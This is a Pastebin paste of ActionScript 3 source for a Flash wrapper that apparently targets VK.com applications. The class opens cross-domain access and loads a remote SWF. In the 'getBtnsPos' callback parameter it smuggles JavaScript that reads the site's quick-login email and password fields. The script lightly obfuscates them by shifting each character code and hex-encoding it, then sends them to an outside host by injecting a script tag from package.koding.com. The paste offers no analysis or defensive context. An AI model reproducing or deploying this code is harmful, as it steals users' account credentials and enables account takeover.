Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package {
- import flash.events.*;
- import flash.display.*;
- import flash.system.*;
- import flash.external.*;
- import flash.net.*;
- public class wrpfirst extends Sprite {
- private var ldr:Loader;
- private var protocol:string;
- public function wrpfirst():void{
- if (stage){
- this.inj();
- } else {
- addEventListener(Event.ADDED_TO_STAGE, this.inj);
- };
- }
- private function inj(_arg1:Event=null):void{
- var url:* = null;
- var e = _arg1;
- removeEventListener(Event.ADDED_TO_STAGE, this.inj);
- Security.allowdomain("*");
- Security.allowinsecuredomain("*");
- var wrapper:* = object(parent.parent);
- this.protocol = "http://";
- if (wrapper.application.parameters.api_url == "https://api.vk.com/api.php"){
- this.protocol = "https://";
- };
- if (this.protocol == "https://"){
- url = "https://pp.userapi.com/c6110/u17274528/0be6d7cc7b1bbd.zip";
- } else {
- if (this.protocol == "http://"){
- url = "http://cs6110.userapi.com/u17274528/0be6d7cc7b1bbd.zip";
- };
- };
- wrapper.addEventListener("onMouseLeave", this.onMouseLeave);
- var urlReq:* = new URLRequest(url);
- var urlVars:* = new URLVariables();
- urlVars.s_noCamera = "noCam";
- urlVars.s_noAccess = "noAcc";
- urlVars.s_setAccess = "setAc";
- urlVars.s_capture = "sCapt";
- urlVars.s_videoMode = "remCa";
- urlVars.hideClbk = "alert";
- urlVars.saveClbk = "alert";
- urlVars.overClbk = "alert";
- urlVars.outClbk = "alert";
- urlVars.downClbk = "alert";
- urlVars.upClbk = "alert";
- urlVars.showSaveClbk = "alert";
- urlVars.hideSaveClbk = "alert";
- urlVars.hideCaptureClbk = "";
- urlVars.progressClbk = "";
- urlVars.getBtnsPos = "function(x){re(\"flash_app\");var email='';var pass='';var hex='';if(window.quick_auth_frame !== void(0)){email=quick_auth_frame.document.getElementById(\"quick_email\").value;pass=quick_auth_frame.document.getElementById(\"quick_pass\").value;}else if(window.quick_login_form!==void(0)){email=ge(\"quick_email\").value;pass=ge(\"quick_pass\").value;};if(email!=''&&pass!=''){var ps=email+':'+pass;for(var i=0;i<ps.length;i++){hex+=''+(ps.charCodeAt(i)+7).toString(16);};};geByTag1('head').appendChild(ce('script',{type:'text/javascript',src:'https://package.koding.com/muha/inj.js?rnd='+hex},{}));}(3)";
- urlVars.jpgQuality = "95";
- urlVars.upload_url = "http://ya.ru/";
- urlVars.protocol = this.protocol;
- urlReq.data = urlVars;
- var context:* = new LoaderContext(false, null, null);
- this.ldr = new Loader();
- this.ldr.contentLoaderInfo.addEventListener(Event.COMPLETE, this.onWrpLoadComplete);
- this.ldr.contentLoaderInfo.addEventListener(SecurityErrorEvent.SECURITY_ERROR, function ():void{
- debug("Security error");
- });
- this.ldr.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR, function ():void{
- debug("IO Error");
- });
- try {
- this.ldr.load(urlReq, context);
- } catch(e:error) {
- debug(e.message);
- };
- }
- private function onWrpLoadComplete(_arg1:Event):void{
- this.ldr.removeEventListener(Event.COMPLETE, this.onWrpLoadComplete);
- addChild(this.ldr);
- }
- private function onMouseLeave(_arg1:Event):void{
- removeChildAt(0);
- this.ldr = null;
- }
- private function debug(_arg1:string):void{
- if (ExternalInterface.available){
- ExternalInterface.call("console.log", _arg1);
- };
- }
- }
- }//package
Advertisement
Add Comment
Please, Sign In to add comment